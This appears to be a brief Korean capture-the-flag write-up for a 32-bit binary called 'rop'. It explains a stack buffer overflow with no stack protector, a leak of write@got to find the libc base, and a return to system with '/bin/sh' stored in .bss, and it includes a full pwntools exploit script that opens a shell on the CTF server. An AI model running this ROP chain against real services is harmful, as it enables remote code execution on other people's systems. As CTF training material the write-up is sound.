vulnerable_function 에서 입력을 받고, Hello world! 를 출력한다.
0x100-0x88 = 0x78 (120) 만큼 overwrite 할 수 있다.
SSP 가 설정되어있지 않으므로, BOF 를 마구마구 일으킬 수 있다.
write 함수로 write.got 주소를 leak 한뒤, 라이브러리베이스주소로
oneshot 함수의 주소를 구해서
Helloworld! 를 출력해주는 write.got 를 overwrite 하든지
(하지만 원샷가젯이 작동을 안해서 못한다..)
system 과 /bin/sh 문자열의 주소를 구해서(또는 bss 영역에 /bin/sh 문자열을 쓰고)
vulnerable_function 함수를 재호출해서 system 으로 리턴하자.
from pwn import *
r=remote("ctf.j0n9hyun.xyz",3021)
#r=process("./rop")
b=ELF("./rop")
lib=ELF("./libc.so.6")
context.log_level='debug'
pppr=0x08048509
bss=0x804a024
pay=''
pay+='x'*0x8c
pay+=p32(b.plt['write'])
pay+=p32(pppr)
pay+=p32(1)
pay+=p32(b.got['write'])
pay+=p32(4)
pay+=p32(b.plt['read'])
pay+=p32(b.symbols['vulnerable_function'])
pay+=p32(0)
pay+=p32(bss+0x20)
pay+=p32(8)
r.sendline(pay)
r.sendline("/bin/sh")
libcbase=u32(r.recv(4))-lib.symbols['write']
system=libcbase+lib.symbols['system']
pay2=''
pay2+='x'*0x8c
pay2+=p32(system)
pay2+=p32(0)
pay2+=p32(bss+0x20)
r.sendline(pay2)
r.interactive()
나는 bss 에 /bin/sh 문자열을 썼다!